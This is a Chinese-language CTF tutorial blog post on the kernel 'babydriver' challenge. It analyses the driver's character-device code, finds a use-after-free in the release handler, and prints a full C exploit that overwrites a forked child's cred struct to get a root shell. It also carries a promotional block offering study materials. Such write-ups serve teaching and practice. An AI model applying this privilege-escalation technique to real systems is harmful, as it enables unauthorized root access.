前言

这边选择的例题还是baby driver,感觉做这道题的时候有种梦回第一道栈溢出题目的感觉。但是网上很多资料讲解本题时关于字符驱动这块并没有讲解,也就造成了我一开始做这道题目的时候仅仅是照着网上的WP复现了一下并没有做到真正读懂这道题,所以这篇博客除了UAF的内容还会留出一些篇幅给字符驱动设备上。

相关文章

Kernel pwn 基础教学之 Kernel ROP

1、题目分析

kernel pwn给出的附件不再是原先的Binary和libc,其附件中给出的文件如下所示

boot.sh --> 启动脚本 rootfs.cpio --> 文件系统,可以从init文件中发现 bzImage --> 压缩后的内核文件,可以使用extract_vmLinux vmlinux_to_elf从中提取出vmlinux内核文件

【——全网最全的网络安全学习资料包分享给爱学习的你,关注我,私信回复“领取”获取——】

1.网络安全多个方向学习路线

2.全网最全的CTF入门学习资料

3.一线大佬实战经验分享笔记

4.网安大厂面试题合集

5.红蓝对抗实战技术秘籍

6.网络安全基础入门、linux、web安全、渗透测试方面视频

首先我们解压rootfs.cpio,并查看init文件内容

#!/bin/sh mount -t proc none /proc mount -t sysfs none /sys mount -t devtmpfs devtmpfs /dev chown root:root flag chmod 400 flag exec 0</dev/console exec 1>/dev/console exec 2>/dev/console insmod /lib/modules/4.4.72/babydriver.ko chmod 777 /dev/babydev echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n" setsid cttyhack setuidgid 1000 sh umount /proc umount /sys poweroff -d 0 -f

可以看到在启动脚本里有一个加载模块的命令insmod,而这个ko文件就是我们需要分析的二进制文件。使用ida打开它可以看到里面的函数并不算多,咱们一个个来看。

babydriver_init

首先使用alloc_chrdev_region函数动态获取了一个驱动号,然后初始化了cdev结构体,在linux中通过cdev结构体来表示一个字符设备,并使用cdev_add函数添加(注册)了字符设备,执行成功后使用_class_create函数创建相应的class,然后通过device_create函数添加设备。这里我一开始理解的时候存在一些疑问,既然在linux中是通过cdev来表示一个字符设备的,那么class存在的意义是什么?后来在查阅资料的过程中了解到linux中存在两种设备系统devfs与sysfs,而class的意义便是创建设备节点,sysfs通过class_create和device_create在设备树中创建相应的设备,应用层udev会自动根据设备树的变化生成相应的设备节点。在2.6版本以前的内核通过cdev_init和cdev_add添加字符设备以后需要手动创建设备节点,而现在则是通过使用_class_create与device_create函数往sysfs中完成设备节点创建的任务。

pwn基础知识(Kernelpwn基础教学之KernelUAF)(1)

与init对应的便是exit,这个函数的任务就是将我们刚才所创建的东西全部回收。

pwn基础知识(Kernelpwn基础教学之KernelUAF)(2)

babyopen

通过kmem_cache_alloc_trace函数开辟0x40的空间给babydev_struct的device_buf成员,在这里我们可以注意到babydev_struct是一个全局变量,并且其中存在buf与buf_len两个成员变量。

pwn基础知识(Kernelpwn基础教学之KernelUAF)(3)

baby_read

首先会判断device_buf与device_buf_len,然后通过copy_to_usr函数将length长度的内容从device_buf读入到buffer中

pwn基础知识(Kernelpwn基础教学之KernelUAF)(4)

babywrite

通过copy_from_user函数将length长度的内容从buffer读入device_buf

pwn基础知识(Kernelpwn基础教学之KernelUAF)(5)

babyioctl

当我们指定的command为0x10001时会释放掉原先的buf,然后kmalloc申请指定大小的内存空间。

pwn基础知识(Kernelpwn基础教学之KernelUAF)(6)

babyrelease

kfree释放buf但是没有置空存在UAF漏洞

pwn基础知识(Kernelpwn基础教学之KernelUAF)(7)

三、漏洞利用

经过刚才的分析我们了解到结构体babydev_struct结构体为全局变量,并且程序在close的时候没有置空指针,造成了UAF漏洞。所以我们可以在一个进程中同时open两次babydev分别记作fd1和fd2,此时device_buf中的地址为fd2_device_buf的内存空间,而我们关闭fd1以后fd2的buf空间被释放,但是我们依然可以通过fd2进行写入。我们利用内核内存管理机制通过fork一个子进程时将cred落在fd2_device_buf上,fork出的子进程cred与父进程一致,当我们对fd2_device_buf进行写入操作也就是对子进程的cred进行操作。但是原始开辟的空间大小是0x40,所以我们在关闭fd1之前需要通过ioctl将device_buf的大小改成和cred结构体大小一样,这样在我们fork一个子进程的时候cred便会落在我们可控的内存上,将子进程的uid修改为0即可完成提权。

EXP:

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/ioctl.h> int main(){ int fd_1 = open("/dev/babydev", 2); int fd_2 = open("/dev/babydev", 2); ioctl(fd_1, 0x10001, 0xa8); close(fd_1); int pid = fork(); if (pid < 0) { puts("[-] fork error."); exit(0); } else if (pid == 0) { char zero[32] = {0}; write(fd_2, zero, sizeof(zero)); if (getuid() == 0) { puts("[ ] root now."); system("/bin/sh"); } } else { wait(NULL); } close(fd_2); return 0; }

写好exp以后进行静态编译,将其放到原先解压好的文件系统中,然后重新打包

find . | cpio -o --format=newc > rootfs.cpio

执行boot.sh启动qemu

pwn基础知识(Kernelpwn基础教学之KernelUAF)(8)

,